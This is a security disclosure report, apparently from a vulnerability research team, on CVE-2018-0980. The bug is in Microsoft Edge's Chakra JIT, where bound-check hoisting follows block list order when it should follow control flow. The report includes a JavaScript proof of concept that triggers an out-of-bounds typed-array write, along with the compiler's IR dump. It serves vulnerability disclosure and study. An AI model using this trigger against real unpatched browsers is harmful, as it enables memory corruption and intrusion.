Microsoft Edge: Chakra: JIT: A bound check elimination bug CVE-2018-0980 Chakra uses the InvariantBlockBackwardIterator class to backpropagate the information about the hoisted bound checks. But the class follows the linked list instaed of the control flow. This may lead to incorrectly remove the bound checks. In the following code, currentBlock's block number is 4 and hoistBlock's block number is 1 (please see the IR code). I assume it should visit 4 -> 3 (skipped) -> 1 (break) in order with following the control flow, but it actually visits 4 -> 3 (skipped) -> 2 -> 1 (break) in order. This makes the block 2 have the wrong information about the bounds which affects the bound checks in the block 5 to be removed. https://github.com/Microsoft/ChakraCore/blob/48c73e51c3e0fb36a08fa844cdb88c9d8a54de32/lib/Backend/GlobOpt.cpp#L14667 if(hoistBlock != currentBlock) { for(InvariantBlockBackwardIterator it(this, currentBlock->next, hoistBlock, nullptr); it.IsValid(); it.MoveNext()) { BasicBlock *const block = it.Block(); ... PoC: function opt(arr, idx) { ((arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234); } function main() { let arr = new Uint32Array(1); for (let i = 0; i < 10000; i++) { opt(arr); } } main(); Here's the IR code for the PoC: FunctionEntry # --------- BLOCK 0: Out(1, 2) $L8: # s1[Object].var = Ld_A 0xXXXXXXXX (GlobalObject)[Object].var # s21(s2)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 2147483632 (0x7FFFFFF0)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 # s3[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var # s22(s4)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 2147483633 (0x7FFFFFF1)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 # s23(s5)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 286331153 (0x11111111)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 # s24(s6)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 # s7[LikelyCanBeTaggedValue_Uint32Array].var = ArgIn_A prm2<40>[LikelyCanBeTaggedValue_Uint32Array].var! # s8[LikelyUndefined_CanBeTaggedValue].var = ArgIn_A prm3<48>[LikelyUndefined_CanBeTaggedValue].var! # Line 2: arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234); Col 7: ^ StatementBoundary #0 #0000 BailOnNotArray s7[LikelyCanBeTaggedValue_Uint32Array].var #0000 Bailout: #0000 (BailOutOnNotArray) s25.u32 = LdIndir [s7[Uint32Array].var+32].u32 #0000 NoImplicitCallUses s25.u32 #0000 ByteCodeUses s7 #0000 s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s25.u32 #0000 s15[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0004 s9[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0004 ByteCodeUses s10 #0004 BrNeq_I4 $L4, s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32!, 2147483632 (0x7FFFFFF0).i32 #0004 --------- BLOCK 1: In(0) Out(2, 3) $L7: #0008 s15[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0008 s9[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0008 BoundCheck 2147483633 < s25.u32 #000f Bailout: #000f (BailOutOnFailedHoistedBoundCheck) s27.u64 = LdIndir [s7[Uint32Array].var+56].u64 #000f NoImplicitCallUses s25.u32 #000f s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483632].var #000f Bailout: #000f (BailOutConventionalTypedArrayAccessOnly) ByteCodeUses s16 #0015 s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0015 s9[CanBeTaggedValue_Int].var = ToVar s29(s9)[CanBeTaggedValue_Int].i32 #0018 ByteCodeUses s16 #0018 BrTrue_I4 $L3, s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0018 --------- BLOCK 2: In(0, 1) Out(5) $L4: #001c s9[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #001c Br $L2 #001e --------- BLOCK 3: In(1) Out(4) DeadOut(5) $L3: #0021 NoImplicitCallUses s25.u32 #0021 ByteCodeUses s7 #0021 s30(s17)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s25.u32 #0021 s18[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0025 s9[Boolean].var = Ld_A 0xXXXXXXXX (false)[Boolean].var #0025 ByteCodeUses s17 #0025 --------- BLOCK 4: In(3) Out(8, 5) $L6: #0029 s18[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0029 s9[Boolean].var = Ld_A 0xXXXXXXXX (true)[Boolean].var #0029 NoImplicitCallUses s25.u32 #0030 s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483633].var #0030 Bailout: #0030 (BailOutConventionalTypedArrayAccessOnly) ByteCodeUses s19 #0036 s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0036 s9[CanBeTaggedValue_Int].var = ToVar s29(s9)[CanBeTaggedValue_Int].i32 #0039 ByteCodeUses s19 #0039 BrTrue_I4 $L9, s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0039 --------- BLOCK 5: In(2, 4) Out(6) DeadIn(3) $L2: #003d s32.u64 = LdIndir [s7[Uint32Array].var+56].u64 #003d NoImplicitCallUses s25.u32 #003d [s7[Uint32Array][seg: s32][segLen: s25][><].var+286331153].var = StElemI_A 4660 (0x1234).i32 #003d Bailout: #003d (BailOutConventionalTypedArrayAccessOnly) s33(s20)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0043 ByteCodeUses s20 #0046 s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4 4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0046 s34.u64 = Ld_A s32.u64 #004b Br $L1 #004b --------- BLOCK 8: **** Air lock Block **** In(4) Out(6) $L9: #004b s34.u64 = Ld_A s27.u64 #004b Br $L1 #004b --------- BLOCK 6: In(8, 5) Out(7) $L1: #004b s0[Undefined].var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #004b Line 3: } Col 1: ^ StatementBoundary #1 #004d StatementBoundary #-1 #004d Ret s0[Undefined].var! #004d --------- BLOCK 7: In(6) $L5: # ---------------------------------------------------------------------------------------- This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt